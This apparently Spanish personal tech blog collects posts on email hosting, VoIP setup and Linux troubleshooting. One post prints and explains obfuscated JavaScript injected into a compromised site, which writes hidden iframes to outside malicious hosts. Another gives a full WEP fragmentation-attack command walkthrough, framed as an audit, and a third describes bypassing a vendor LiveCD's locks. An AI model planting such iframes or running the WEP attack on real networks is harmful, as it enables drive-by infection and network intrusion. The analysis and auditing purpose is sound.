Hace unos días estuve peléandome para instalar Postfix+Dovecot+SASL con soporte de dominios y usuarios virtuales con MySQL, pero tuve algunos detalles para integrar SASL con Postfix y no encontré mucha información al respecto, pero como me urgía tener soporte de correo electrónico para un dominio en específico estuve buscando opciones y una que me gustó fué la que me ofrece mi proveedor de dominios godaddy, el cuál tiene un plan de 20 dlls anuales por 2 GB distribuidos como quieras en 5 cuenta de correos, considerando que el dominio me cuesta $ 8.95 dlls, entonces por menos de $ 30 dlls ya tengo mi dominio y ellos se encargan de darte el servidor de correo, por lo que puedes accederlo directamente desde la web o a traves de imap o pop para gestionarlos con clientes de correo como Thunderbird o si eres Windowzero con Outlook.
Ya tendré tiempo para documentarme más sobre Postfix e integrarlo con las otras soluciones OpenSource pero por ahora he salido del apuro.. Si alguien tiene info de como instalar Postfix+Dovecot+SASL les agradecería que me la enviaras a phylevn arroba oaxrom punto com
Hace unos días un amigo que estudia la universidad me contacto por el msn, preguntándome porque Google le indicaba que un sitio "podría dañar su computadora", al igual que su antivirus le indicaba información de un troyano al intentar a la página web, le comenté que para que entraba a páginas pornos.. , ja, pero me dijo que no que era un sitio de su profe de la escuela, por lo que me metí a checar que onda solo por curiosidad.
El mencionado sitio es:
http://www.estrategiasempresariales.com.mx/
( USUARIOS DE WINDOWS: CUIDADO !!! )
Como uso Linux pude entrar sin mayor problema, pero vi en la parte de la barra de estado de firefox que intentaba conectarse a otros sitios, por lo que chequé el código y lo que encontré en el encabezado fue lo siguiente:
<script type="text/javascript"> var nfKIWAgpBTVTQUrZYMzN ="g60g105g102g114g97g109g101g32g119g105g100g116g104g61g34g52g56g48g34g32g104g101g105g103g104g116g61g34g54g48g34g32g115g114g99g61g
34g104g116g116g112g58g47g47g98g101g115g116g45g109g101g100g45g115g104g111g112g46g99g111g109g47g105g110g46g99g103g105g63g51g38g112g97g114g97g109g101g116g
101g114g61g98g101g115g116g45g109g101g100g45g115g104g111g112g34g32g115g116g121g108g101g61g34g98g111g114g100g101g114g58g48g112g120g59g32g112g111g115g105g
116g105g111g110g58g114g101g108g97g116g105g118g101g59g32g116g111g112g58g48g112g120g59g32g108g101g102g116g58g45g53g48g48g112g120g59g32g111g112g97g99g105g
116g121g58g48g59g32g102g105g108g116g101g114g58g112g114g111g103g105g100g58g68g88g73g109g97g103g101g84g114g97g110g115g102g111g114g109g46g77g105g99g114g111g
115g111g102g116g46g65g108g112g104g97g40g111g112g97g99g105g116g121g61g48g41g59g32g45g109g111g122g45g111g112g97g99g105g116g121g58g48g34g62g60g47g105g102g
114g97g109g101g62"; var cHNCDgmFRKXFpiOMivBk = nfKIWAgpBTVTQUrZYMzN.split("g"); var PXDfruFQHEdkMrnQXZVp =""; for(var ktvacJmKFovULyADtFTA=1; ktvacJmKFovULyADtFTA<cHNCDgmFRKXFpiOMivBk.length; ktvacJmKFovULyADtFTA++){
PXDfruFQHEdkMrnQXZVp+=String.fromCharCode(cHNCDgmFRKXFpiOMivBk[ktvacJmKFovULyADtFTA]); }
document.write(PXDfruFQHEdkMrnQXZVp) </script>
<script type="text/javascript"> var vIkytowORShQVZqTBFox ="sLU60sLU105sLU102sLU114sLU97sLU109sLU101sLU32sLU119sLU105sLU100sLU116sLU104sLU61sLU34sLU52sLU56sLU48sLU34sLU32sLU104sLU101sLU105sLU
103sLU104sLU116sLU61sLU34sLU54sLU48sLU34sLU32sLU115sLU114sLU99sLU61sLU34sLU104sLU116sLU116sLU112sLU58sLU47sLU47sLU109sLU111sLU108sLU111sLU46sLU116sLU119sLU
47sLU105sLU110sLU100sLU101sLU120sLU46sLU112sLU104sLU112sLU34sLU32sLU115sLU116sLU121sLU108sLU101sLU61sLU34sLU98sLU111sLU114sLU100sLU101sLU114sLU58sLU48sLU
112sLU120sLU59sLU32sLU112sLU111sLU115sLU105sLU116sLU105sLU111sLU110sLU58sLU114sLU101sLU108sLU97sLU116sLU105sLU118sLU101sLU59sLU32sLU116sLU111sLU112sLU
58sLU48sLU112sLU120sLU59sLU32sLU108sLU101sLU102sLU116sLU58sLU45sLU53sLU48sLU48sLU112sLU120sLU59sLU32sLU111sLU112sLU97sLU99sLU105sLU116sLU121sLU58sLU
48sLU59sLU32sLU102sLU105sLU108sLU116sLU101sLU114sLU58sLU112sLU114sLU111sLU103sLU105sLU100sLU58sLU68sLU88sLU73sLU109sLU97sLU103sLU101sLU84sLU114sLU
97sLU110sLU115sLU102sLU111sLU114sLU109sLU46sLU77sLU105sLU99sLU114sLU111sLU115sLU111sLU102sLU116sLU46sLU65sLU108sLU112sLU104sLU97sLU40sLU111sLU112sLU
97sLU99sLU105sLU116sLU121sLU61sLU48sLU41sLU59sLU32sLU45sLU109sLU111sLU122sLU45sLU111sLU112sLU97sLU99sLU105sLU116sLU121sLU58sLU48sLU34sLU62sLU60sLU
47sLU105sLU102sLU114sLU97sLU109sLU101sLU62"; var QWUvRMtrivbeEMdxAZLS = vIkytowORShQVZqTBFox.split("sLU"); var rsiNSZhTeWRvtmrKykBh =""; for(var gdLkpohqOtIGmrTFQBZv=1; gdLkpohqOtIGmrTFQBZv<QWUvRMtrivbeEMdxAZLS.length; gdLkpohqOtIGmrTFQBZv++){
rsiNSZhTeWRvtmrKykBh+=String.fromCharCode(QWUvRMtrivbeEMdxAZLS[gdLkpohqOtIGmrTFQBZv]); }
document.write(rsiNSZhTeWRvtmrKykBh) </script>
<script type="text/javascript"> var hdOruVsHnKBXZuvtsRmw ="z60z105z102z114z97z109z101z32z119z105z100z116z104z61z34z52z56z48z34z32z104z101z105z103z104z116z61z34z54z48z34z32z115z114z99z61z34z104z116z
116z112z58z47z47z114z110z119z46z107z122z47z105z110z100z101z120z46z112z104z112z34z32z115z116z121z108z101z61z34z98z111z114z100z101z114z58z48z112z120z59z32z112z111z
115z105z116z105z111z110z58z114z101z108z97z116z105z118z101z59z32z116z111z112z58z48z112z120z59z32z108z101z102z116z58z45z53z48z48z112z120z59z32z111z112z97z99z105z
116z121z58z48z59z32z102z105z108z116z101z114z58z112z114z111z103z105z100z58z68z88z73z109z97z103z101z84z114z97z110z115z102z111z114z109z46z77z105z99z114z111z115z
111z102z116z46z65z108z112z104z97z40z111z112z97z99z105z116z121z61z48z41z59z32z45z109z111z122z45z111z112z97z99z105z116z121z58z48z34z62z60z47z105z102z114z97z
109z101z62"; var kWiFaYwHrXtZBIQvdJDR = hdOruVsHnKBXZuvtsRmw.split("z"); var TEptzkmsBZolwWqWunem =""; for(var KYLMhcILlLcFQRyPBlHD=1; KYLMhcILlLcFQRyPBlHD<kWiFaYwHrXtZBIQvdJDR.length; KYLMhcILlLcFQRyPBlHD++){
TEptzkmsBZolwWqWunem+=String.fromCharCode(kWiFaYwHrXtZBIQvdJDR[KYLMhcILlLcFQRyPBlHD]); }
document.write(TEptzkmsBZolwWqWunem) </script> <script type="text/javascript"> var eMCeGjolMPJFNuucZWLk ="jc60jc105jc102jc114jc97jc109jc101jc32jc119jc105jc100jc116jc104jc61jc34jc52jc56jc48jc34jc32jc104jc101jc105jc103jc104jc116jc61jc34jc54jc48jc34jc32jc
115jc114jc99jc61jc34jc104jc116jc116jc112jc58jc47jc47jc121jc111jc117jc45jc102jc111jc117jc110jc100jc45jc105jc116jc46jc111jc114jc103jc47jc105jc110jc100jc101jc120jc46jc112jc104jc
112jc34jc32jc115jc116jc121jc108jc101jc61jc34jc98jc111jc114jc100jc101jc114jc58jc48jc112jc120jc59jc32jc112jc111jc115jc105jc116jc105jc111jc110jc58jc114jc101jc108jc97jc116jc105jc
118jc101jc59jc32jc116jc111jc112jc58jc48jc112jc120jc59jc32jc108jc101jc102jc116jc58jc45jc53jc48jc48jc112jc120jc59jc32jc111jc112jc97jc99jc105jc116jc121jc58jc48jc59jc32jc102jc105jc
108jc116jc101jc114jc58jc112jc114jc111jc103jc105jc100jc58jc68jc88jc73jc109jc97jc103jc101jc84jc114jc97jc110jc115jc102jc111jc114jc109jc46jc77jc105jc99jc114jc111jc115jc111jc102jc
116jc46jc65jc108jc112jc104jc97jc40jc111jc112jc97jc99jc105jc116jc121jc61jc48jc41jc59jc32jc45jc109jc111jc122jc45jc111jc112jc97jc99jc105jc116jc121jc58jc48jc34jc62jc60jc47jc105jc
102jc114jc97jc109jc101jc62"; var varLlMnCAppeCrJJayvn = eMCeGjolMPJFNuucZWLk.split("jc"); var OEtbynEYKPJgqArbMfdN =""; for(var VTsXKBglzcYNgRpfFtDP=1; VTsXKBglzcYNgRpfFtDP< varLlMnCAppeCrJJayvn.length; VTsXKBglzcYNgRpfFtDP++){
OEtbynEYKPJgqArbMfdN+=String.fromCharCode( varLlMnCAppeCrJJayvn[VTsXKBglzcYNgRpfFtDP]); }
document.write(OEtbynEYKPJgqArbMfdN) </script>
Obvio el código javascript está ofuscado, lo que indica que tanto variables como constantes tienen nombres raros y son sustituidas por su valor ascii para luego ser reinterpretadas y ejecutadas.
Ya limpiando el código se vería algo asi:
<textarea name=infoarea id=infoarea cols=150 rows=50></textarea> <script type="text/javascript"> var var1 ="g60g105g102g114g97g109g101g32g119g105g100g116g104g61g34g52g56g48g34g32g104g101g105g103g104g116g61g34g54g48g34g32g115g114g99g61g
34g104g116g116g112g58g47g47g98g101g115g116g45g109g101g100g45g115g104g111g112g46g99g111g109g47g105g110g46g99g103g105g63g51g38g112g97g114g97g109g101g116g
101g114g61g98g101g115g116g45g109g101g100g45g115g104g111g112g34g32g115g116g121g108g101g61g34g98g111g114g100g101g114g58g48g112g120g59g32g112g111g115g105g
116g105g111g110g58g114g101g108g97g116g105g118g101g59g32g116g111g112g58g48g112g120g59g32g108g101g102g116g58g45g53g48g48g112g120g59g32g111g112g97g99g105g
116g121g58g48g59g32g102g105g108g116g101g114g58g112g114g111g103g105g100g58g68g88g73g109g97g103g101g84g114g97g110g115g102g111g114g109g46g77g105g99g114g111g
115g111g102g116g46g65g108g112g104g97g40g111g112g97g99g105g116g121g61g48g41g59g32g45g109g111g122g45g111g112g97g99g105g116g121g58g48g34g62g60g47g105g102g
114g97g109g101g62"; var var2= var1.split("g"); var var3 =""; for(var var4=1; var4<var2.length; var4++){
var3+=String.fromCharCode(var2[var4]); }
document.write(var3); </script> <script type="text/javascript"> var var6="sLU60sLU105sLU102sLU114sLU97sLU109sLU101sLU32sLU119sLU105sLU100sLU116sLU104sLU61sLU34sLU52sLU56sLU48sLU34sLU32sLU104sLU101sLU105sLU
103sLU104sLU116sLU61sLU34sLU54sLU48sLU34sLU32sLU115sLU114sLU99sLU61sLU34sLU104sLU116sLU116sLU112sLU58sLU47sLU47sLU109sLU111sLU108sLU111sLU46sLU116sLU119sLU
47sLU105sLU110sLU100sLU101sLU120sLU46sLU112sLU104sLU112sLU34sLU32sLU115sLU116sLU121sLU108sLU101sLU61sLU34sLU98sLU111sLU114sLU100sLU101sLU114sLU58sLU48sLU
112sLU120sLU59sLU32sLU112sLU111sLU115sLU105sLU116sLU105sLU111sLU110sLU58sLU114sLU101sLU108sLU97sLU116sLU105sLU118sLU101sLU59sLU32sLU116sLU111sLU112sLU
58sLU48sLU112sLU120sLU59sLU32sLU108sLU101sLU102sLU116sLU58sLU45sLU53sLU48sLU48sLU112sLU120sLU59sLU32sLU111sLU112sLU97sLU99sLU105sLU116sLU121sLU58sLU
48sLU59sLU32sLU102sLU105sLU108sLU116sLU101sLU114sLU58sLU112sLU114sLU111sLU103sLU105sLU100sLU58sLU68sLU88sLU73sLU109sLU97sLU103sLU101sLU84sLU114sLU
97sLU110sLU115sLU102sLU111sLU114sLU109sLU46sLU77sLU105sLU99sLU114sLU111sLU115sLU111sLU102sLU116sLU46sLU65sLU108sLU112sLU104sLU97sLU40sLU111sLU112sLU
97sLU99sLU105sLU116sLU121sLU61sLU48sLU41sLU59sLU32sLU45sLU109sLU111sLU122sLU45sLU111sLU112sLU97sLU99sLU105sLU116sLU121sLU58sLU48sLU34sLU62sLU60sLU
47sLU105sLU102sLU114sLU97sLU109sLU101sLU62"; var var7 = var6.split("sLU"); var var9 =""; for(var var10=1; var10<var7.length; var10++){
var9+=String.fromCharCode(var7[var10]); }
document.write(var9) </script>
<script type="text/javascript"> var var11 ="z60z105z102z114z97z109z101z32z119z105z100z116z104z61z34z52z56z48z34z32z104z101z105z103z104z116z61z34z54z48z34z32z115z114z99z61z34z104z116z
116z112z58z47z47z114z110z119z46z107z122z47z105z110z100z101z120z46z112z104z112z34z32z115z116z121z108z101z61z34z98z111z114z100z101z114z58z48z112z120z59z32z112z111z
115z105z116z105z111z110z58z114z101z108z97z116z105z118z101z59z32z116z111z112z58z48z112z120z59z32z108z101z102z116z58z45z53z48z48z112z120z59z32z111z112z97z99z105z
116z121z58z48z59z32z102z105z108z116z101z114z58z112z114z111z103z105z100z58z68z88z73z109z97z103z101z84z114z97z110z115z102z111z114z109z46z77z105z99z114z111z115z
111z102z116z46z65z108z112z104z97z40z111z112z97z99z105z116z121z61z48z41z59z32z45z109z111z122z45z111z112z97z99z105z116z121z58z48z34z62z60z47z105z102z114z97z
109z101z62"; var var12 = var11.split("z"); var var13 =""; for(var var14=1; var14<var12.length; var14++){
var13+=String.fromCharCode(var12[var14]); }
document.write(var13) </script> <script type="text/javascript"> var var15 ="jc60jc105jc102jc114jc97jc109jc101jc32jc119jc105jc100jc116jc104jc61jc34jc52jc56jc48jc34jc32jc104jc101jc105jc103jc104jc116jc61jc34jc54jc48jc34jc32jc
115jc114jc99jc61jc34jc104jc116jc116jc112jc58jc47jc47jc121jc111jc117jc45jc102jc111jc117jc110jc100jc45jc105jc116jc46jc111jc114jc103jc47jc105jc110jc100jc101jc120jc46jc112jc104jc
112jc34jc32jc115jc116jc121jc108jc101jc61jc34jc98jc111jc114jc100jc101jc114jc58jc48jc112jc120jc59jc32jc112jc111jc115jc105jc116jc105jc111jc110jc58jc114jc101jc108jc97jc116jc105jc
118jc101jc59jc32jc116jc111jc112jc58jc48jc112jc120jc59jc32jc108jc101jc102jc116jc58jc45jc53jc48jc48jc112jc120jc59jc32jc111jc112jc97jc99jc105jc116jc121jc58jc48jc59jc32jc102jc105jc
108jc116jc101jc114jc58jc112jc114jc111jc103jc105jc100jc58jc68jc88jc73jc109jc97jc103jc101jc84jc114jc97jc110jc115jc102jc111jc114jc109jc46jc77jc105jc99jc114jc111jc115jc111jc102jc
116jc46jc65jc108jc112jc104jc97jc40jc111jc112jc97jc99jc105jc116jc121jc61jc48jc41jc59jc32jc45jc109jc111jc122jc45jc111jc112jc97jc99jc105jc116jc121jc58jc48jc34jc62jc60jc47jc105jc
102jc114jc97jc109jc101jc62"; var var16 = var15.split("jc"); var var17 =""; for(var var18=1; var18<var16.length; var18++){
var17+=String.fromCharCode(var16[var18]); }
document.write(var17) </script>
Como podemos ver en en cada código javascript se crea un "string" que contiene información ofuscada, la cuál son números que son el valor ascii de algun caracter, entre cada número y número hay letras los cuales sirven para poder cortar la cadena y generar un arreglo que contendrá cada uno de los valores ascii usando la función split, para luego recorrer el arreglo y convertir el número a su valor ascii, concatenarlo y asi formar nuevamente otra cadena que al final es codigo html que se ejecuta usando la sentencia javascript document.write(codigo).
El código html que oculta, regenera y ejecuta el código malicioso es el siguiente
Script 1
Cada código html genera un iframe, el cuál es invisible al visitante de la página web, pero que conecta a otros servidores web, de los cuáles se pueden descargar virus, troyanos, más código malicioso, etc.
¿ Cómo resolverlo ?
Lo ideal es borrar los archivos infectados
Si se usa linux solo bastaría ejecutar el siguiente comando para detectar que archivos están infectados:
find /ruta/del/diretorio/web -type f | xargs grep ALGUNA_DE_LASVARIABLES_QUE_USEN_EN_EL_CODIGO_MALICIOSO
Esto obtendría la lista de archivos infectados.
Solo bastaría borrarlos, subir los originales y luego cambiar los permisos del directorio de preferencia ponerlos en 755, asi como los permisos del propietario del directorio.
Otras consideraciones de seguridad serían :
*No usar conexiones de transferencia de archivos insegura como FTP.
*No conectarse al servidor desde computadoras públicas.
Hace unos días adquirí vía internet una aplicación para probarla, hice mi pago, baje el software y al probarlo verifiqué que era un LiveCD el cuál se encarga de hacer Bluetooth Marketing, al echarlo andar vi que usaba software libre para enviar publicidad electrónica a dispositivos bluetooth, tal como rfcomm, sdptool, hcitool, hciconf, etc., pues vi que los ejecutaba al momento de arrancar el LiveCD.
El LiveCD corre sobre un Debian, pero venía cerrado es decir no te daba consola, solo mantenía la ejecución del software y listo no podías entrar, por lo que quise saber como funcionaba este software tan interesante para hacer bluetooth marketing y lo primero que se me ocurrió fué abrir el LiveCD y lo monté en un directorio
Hasta aquí todo bien chequé los directorios el cuál venía un isolinux dónde se cargan los archivos de booteo, así como también live donde viene un archivo llamado filesystem.squash, el cuál es el sistema de archivos de Linux comprimido en un solo archivo de tipo squashfs.
Cómo por ingeniería el iso es de solo escritura lo copié a otro directorio
Con eso ya tenía el directorio del sistema listo para ser explorado, igual como el directorio aquí es de solo lectura lo copié a otro directorio y le cambié permisos.
Con esto ya podría explorar y modificar los archivos para luego poder regresarlo a formato sqush y de ahí crear mi iso personalizado.
Al ver el directorio del LiveCD que me entregaron lo primero que quise buscar fué el drectorio de configuraciones de linux, el cuál no estaba en /etc si no más bien oculto, para lo cuál solo bastó una búsqueda con el comando find
sudofind/-iname"init.d"
busqué init.d porqué es generalmente donde se ponen los archivos que arrancan el sistema en este caso lo encontré dentro de subdirectorios de /opt y de ahí ya podía empezar con modificar el modo de arranque que por default estaba en 2 y lo cambié a 4 en el archivo de /etc/inittab
en el directorio /etc/rc.2 igual encontré los comandos de autoejecución y entre ellos los de arranque del sistema de envíos de bluetooths, que igual estaban escondidos y desparpajados, pero fué fácil encontrarlos usando el comando
find/-type f | xargsgrep"cadena-a-buscar-dentro-de-archivos"
Con esto bastó para encontrar cada uno de los archivos del sistema de bluetooth marketing, solo los copié a un directorio de mi pc y de ahí los dejé instalados en mi Ubuntu 7.10, al ejecutarlo me pidió algunas librerías que solo bastó copiarlas de /usr/lib del directorio del LiveCD abierto y listo ya tenía ejecutando el sistema de bluetooth.
Pero todavía me encontré con otra prueba, el sistema de bluetooth solo permitía enviar los archivos que yo les había mandado, y esto los generaba al instante que se ejecutaba el sistema de bluetooth marketing, lo que hice fué usar otros archivos con el mismo nombre solo ponerles modos de solo lectura así el sistema al ejecutarse no podría crearlos pues tomaba los ya creados y que no podían sobreescribirse debido a los permisos.
Con esto ya pude tener el sistema de bluetooth marketing en mi laptop para usarlo sin un live cd o máquina virtual y pudiendo modificar las campañas publicitarias con los archivos que yo quiero
También como comentario adicional se puede usar la línea de comandos mkisofs para poder crear un iso en base a un directorio e igual isomaster que es una aplicación gráfica para su uso en linus y crear isos y livecds.
Básicamente la idea del post es comentar sobre como abrir un live cd y poder crear otro a tu antojo.
WifiSlax y otras distros al ejecutarse sobre algunas laptops como HP y Compaq muestran solo una pantalla negra y aunque se sigue ejecuntando el CD el vídeo simplemente no muestra nada, para esto solo basta cambiar un cheatcode del vga para que funcione normalmente el LiveCD con estas laptops.
Procedimiento:
Arrancar con el CD.
Presionar enter en dónde dice boot.
En el menú de opciones de arranque de wifislax presionar la tecla TAB
Ahí mostrará algo como lo siguiente:
/boot/mvlinuz vga=normal initrd=/boot/initrd.gz ramdisk_size=6666
root=/dev/ram0 rw
Modifica la parte que dice vga=normal por vga=0x317 para que quede asi:
/boot/mvlinuz vga=0x317 initrd=/boot/initrd.gz ramdisk_size=6666
root=/dev/ram0 rw
Es una manera de definir el proceso de buscar palabras o textos dentro de una conversación, de tal forma que es posible encontrar la palabra "amenaza de bomba" en una llamada que hicieran a la policía, de tal forma que se pudiera mandar una alerta a un monitor, sistema ó extensión.
Se puede decir que es como un OCR, pero solo que en vez de buscar textos y palabras dentro de una imagen, es buscar textos y palabras dentro de un streaming de audio que puede ser una conversación telefónica o un mensaje pregrabado.
Algo como esto lo ví en una película hace un par de años, dónde un sistema de la NSA de USA, monitoreaba llamadas en teléfonos celulares o fijos de diversas partes del mundo, de tal forma que si encontraban una palabra sospechosa en automático enviaba la llamada en modo espía a un agente del callcenter de la NSA, por ejemplo si escuchaban la palabra Bin Laden, Al Qaeda o algo por el estilo entonces la pasaban al centro de contactos principal de la NSA.
Esta tecnología en la actualidad ya no es un recurso que valga millones de dólares tales como los que invirtió la Agencia de Seguridad Nacional de EU, pero si tiene un costo que es asequible para empresas que deseen almacenar en una base de datos el texto de las grabaciones de las conversaciones de los agentes de un call center para luego poder hacer una búsqueda por palabras en una base de datos y de ahí reproducir la conversación, al igual que poder mandar una alerta cuándo se encuentre una palabra en alguna de las conversaciones recibidas.
Esto no es complicado de implementarse aunque claro tiene su chiste, pero nada del otro mundo, esto debido a la tecnología de Asterisk y la cantidad de aplicaciones que hay alrededor de este gran proyecto, lo importante aquí es tener un sistema de reconocimiento de voz bastante eficiente, tal como puede ser LumenVox para luego solo "parsear" la información que se este leyendo en la conversación.
Hace unos días me tocó configurar una tarjeta E1 con MCF R2 Modificado y para esto usé una tarjeta Sangoma A101DE Con cancelación de ECO y PCI Express, todo salió bien, la compilación de Asterisk, la compilación de OpenR2-2 y el parche de Asterisk con los drivers de OpenR2. Pero ya después quise reiniciar el servidor y al momento despues de ejecutar sudo reboot, me mandar un Kernel Panic.
Este Kernel Panic se debe a que el sistema rc.6 intenta eliminar los módulos de Wanpipe del kernel, que es el driver sangoma, pero como están aún siendo utilizados por Asterisk y por Zaptel entonces genera el Kernel Panic, me puse a buscar en internet y había varias presuntas soluciones una era poner en el menu grub una excepción a ese número de error de Kernel Panic, otro era crearse un script para apagar zaptel y asterisk poniendo el script en rc.6 y ejecutarlo antes que /etc/init.d/wanrouter stop, pero el más fácil y recomendado por la gente de Sangoma fué solo colocar un script de stop en el directorio /etc/wanpipe/scripts, en dónde se debería parar los servicios de asterisk y luego de wanpipe para que ya no generara el kernel panic y se pudiera reiniciar y apagar el servidor sin problema alguno.
Para esto solo basta crear un archivo en /etc/wanpipe/scripts
sudo /etc/wanpipe/scripts/stop
sudo amportal stop
sudo /etc/init.d/wanrouter stop
sudo /etc/init.d/zaptel stop
#guardar
chmos +x /etc/wanpipe/scripts/stop
Y listo solo bastaría hacer un sudo reboot para verificar que ya no generara el kernel panic..
Entre los servicios que ofrezco son los estudios de propagación de señal, que básicamente consiste en analizar el comportamiento de las señales de radiofrecuencia en diversos ambientes, esto para poder implementar redes inalámbricas de datos en almacenes, bodegas, centros de distribución, etc., Un estudio de propagación de señal siempre es importante llevarse a cabo antes de empezar a instalar Access Points esto para tener la certeza de que la cobertura si dará servicio a las terminales móviles. En algunos casos dónde ya existen redes inalámbricas, siempre es importante también realizar Auditorías inalámbricas que es muy necesaria para auditar los niveles de seguridad y eficiencia de una red inalámbrica, ya que permite descubrir las vulnerabilidades o fallos que puede tener una red inalámbrica lo que puede perjudicar en las conexiones con los clientes inalámbricos e incluso de tener intrusos dentro de la organización, que en el mejor de los casos solo pueda estar ocupando ancho de banda, pero en otros puede incluso llegar a "snifear" todo el tráfico de red.
Uno de los principales ataques más avanzados en las redes inalámbricas es el ataque por fragmentación, en este caso muestro un tutorial rápidamente de como se lleva a cabo, esto con la finalidad de que se tenga el conocimiento y se tomen las medidas preventivas de seguridad en sus redes inalámbricas, ya que actualmente muchos fabricantes configuran sus Routers Inalámbricos solo con WEP el cuál es una seguridad deficiente.
Para esto siempre es requerido realizar una Auditoría Inalámbrica haciendo uso de un LiveCD de Seguridad como WifiSlax con algún usb con chip RTL8187.
La siguiente información es con fines educativos y preventivos para los administradores de sistemas.
rm-rf llave*
iwconfig wlan0 rate 1M mode monitor
macchanger -m 00:A0:F8:01:02:03 wlan0
airodump-ng wlan0 #Teclear Ctrl +C despues de obtener el listado de redes disponibles #Me devuelve info de las redes inalámbricas cercanas **
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:7C:CA:B7:F9 8261 0 6 54. WEP WEP OPN PhylevnWireless
MAC del AP: 00:21:7C:CA:B7:F9
Canal: 6
ESSID: PhylevnWireless
ENC: WEP
CIF: WEP **
iwconfig wlan0 channel 6
airodump-ng --bssid 00:21:7C:CA:B7:F9 -w llave -c6 wlan0 #Abrir una consola (Consola <img src="plugins/Emoticons/images/face-glasses.png" border="0" alt="face-glasses.png " width="16" height="16" />
aireplay-ng -16-e PhylevnWireless -a 00:21:7C:CA:B7:F9 -h 00:A0:F8:01:02:03 wlan0 #Abrir una consola (Consola C)
aireplay-ng -5-b 00:21:7C:CA:B7:F9 -h 00:A0:F8:01:02:03 wlan0 #Cuándo diga Use this packet ? teclear "y" sin las comillas #Use this packet ? y #Al final de ejecutar este comando me mandará algo como esto:
Saving keystream in fragment-0701-205127.xor #ese archivo lo usaremos para generar un paquete bomba
packetforge-ng -0-a 00:21:7C:CA:B7:F9 -h 00:A0:f8:01:02:03 -k 192.168.1.100 -l 192.168.1.176 -y fragment-0701-205127.xor -w bomba #-k usar la misma IP de ejemplo #-l usar la misma IP de ejemplo -y es el archivo fragment-0701-205127.xor que se generó anteriormente con el comando "aireplay-ng -5 -b 00:21:7C:CA:B7:F9 -h 00:A0:F8:01:02:03 wlan0" -w es el paquete bomba generado #inyección de paquetes con el paquete bomba sudo aireplay-ng -2-b 00:21:7C:CA:B7:F9 -h 00:A0:F8:01:02:03 -r bomba wlan0 #cuándo pregunte Use this packet ? teclear "y", sin comillas #Use this packet ? y #y Ahí debería a empezar hacer el ataque.. #Abri una consola (Consola D) #de ahi en otra ventana ejecutar cada que vaya avanzando el 5000 el valor de #data en la primer consola A hasta obtener la llave wep, cp llave-01.cap llave.cap
aircrack-ng -z llave.cap
Qué el asistente comprenda desde los conceptos básicos de Telefonía Tradicional y Voz Sobre IP hasta conocimientos avanzados de telefonía IP.
Conozca como instalar y configurar Tarjetas de Telefonía Sangoma & Digium.
Sepa diferenciar el uso de los diversos protocolos de comunicación.
Conozca la diferencia y uso de los diversos códecs.
Integrar nuevas aplicaciones alrededor de Asterisk.
Configurar las aplicaciones básicas de un conmutador IP.
Configurar extensiones y manejar el dialplan de Asterisk.
Configuración de IVRs, Grupos de marcación, DISAs, FollowMe, etc.,
Ruteo de llamadas por diveras tecnologías.
Instalar un Administrador Gráfico para Asterisk
Programación de aplicaciones con Asterisk Gateway Interface
Monitoreo de llamadas
Integración de aplicaciones desarrolladas con el Asterisk Manager Interface
Detección de fallos
Integración de aplicaciones externas con Asterisk
Integración de vTiger CRM con Asterisk
Curso de Introducción a la plataforma Linux.
Se provee un curso de introducción opcional que consta de 6 horas previas al curso de VoIP para que los asistentes nuevos en Linux puedan comprender aun más los aspectos fundamentales del Sistema Operativo Linux, plataforma sobre la cuál se integra la tecnología de Asterisk VoIP y conozcan el entorno sobre la cual se implementa Asterisk PBX.
Temario del curso de Linux Core
¿ Qué es Linux ?
Obteniendo Linux
Distribuciones Linux
Instalación de Linux
Sistema de Archivos de Linux
Comandos principales
Permisos de usuarios y accesos de archivos.
Ejecución de aplicaciones.
Instalación de paquetes.
Compilación e instalación de aplicaciones medante código fuente.
Manejo de editor de texto en linux.
Edición de archivos de configuración.
Configuración de servicios de arranque en Linux.
Registros y Mensajes del Sistema.
Detección de hardware.
Monitoreo de sistema(CPU, RAM, Disco Duro).
Configuración de Redes en Linux.
Temario del Curso de Implementación de Asterisk VoIP
SESIÓN 1
Teoría
Conceptos Básicos de Telefonía Tradicional.
Terminología de la Telefonía tradicional.
Concepto básicos de Voz sobre IP.
Situación Actual de la Telefonía Tradicional en México
¿ Qué es la Telefonía IP ?
Ventajas de Implementación de Telefonía IP en las Empresas.
Diferencia entre Voz sobre IP vs Telefonía IP.
Términos y Aspectos legales en México
Protocolos de Voz sobre IP
Codecs de Voz sobre IP
¿ Qué es Asterisk PBX?
Aplicaciones de un Conmutador de Voz sobre IP basados en Asterisk PBX.
Practica
Instalación de Servidor Linux
Configurando de usuarios
Configuración del sistema de paquetes y repositorios de Linux.
Configurando servicio de consola remota(SSH) para acceso remoto.
Instalación de paquetes requeridos para Asterisk y FreePBX.
Descarga de código fuente de aplicaciones requeridas para instalación de Asterisk PBX.
Compilación de paquetes requeridos.
Instalación de Paquetes de Conmutador de Voz Sobre IP con Asterisk PBX.
Instalación de Drivers DAHDI o ZAPTEL para tarjetas Sangoma ó Digium.
Configuración de tarjetas con DAHDI y ZAPTEL.
Configuración de opciones generales de zapata.conf y dahdi.conf
Configuración de grupos y canales de puertos FXO
Instalación de Gateway para desarrollo de Aplicaciones de Voz Sobre IP.
Instalación de Sonidos en español para IVR.
Instalación y Configuración de Administrador Web FreePBX para Asterisk PBX.
Actualización e instalación de nuevos módulos de FreePBX.
Actualización e instalación de módulos no oficiales de FreePBX
Esquema de archivos de configuración de FreePBX y Asterisk PBX.
Edición de Archivos Generales de configuración de Asterisk PBX.
Edición de archivos de configuración de Usuarios y Extensiones de Asterisk PBX.
Configuración de Softphone en Linux, Windows y PocketPC como extensiones del conmutador de VoIP
Evaluación de la Sesión
Retroalimentación
SESION 2
Practica
Configuración de Planes y Reglas de Marcación en archivos de configuración de Asterisk PBX.
Configuración de Equipos FXS como extensiones de Conmutador VoIP.
Configuración de Puertos FXO de SPA3102 como líneas de salida PSTN
Configuración de Puertos FXO de tarjetas como líneas de salida PSTN.
Configuración de dispositivo PAP2 para conexión de Fax.
Consideraciones para Fax sobre IP.
Configuración de Correo de Voz para extensiones.
Configuración de conexión a un proveedor VoIP para realizar y recibir llamadas desde la red PSTN.
Instalación de Códecs g729.
Configuración de servicio DID(Número telefónico vía VoIP) con Asterisk PBX.
Configuración de Ruteo de llamadas Entrantes al conmutador de VoIP.
Configuración de Ruteo para llamadas Salientes del Conmutador de VoIP.
Configuración de password y pins para llamadas salientes.
Configuración de música de fondo para diversos contextos y grupos de marcación.
Configuración de Follow ME.
Configuración de Call Back.
Configuración de Grupos de Marcación.
Grabación de llamadas.
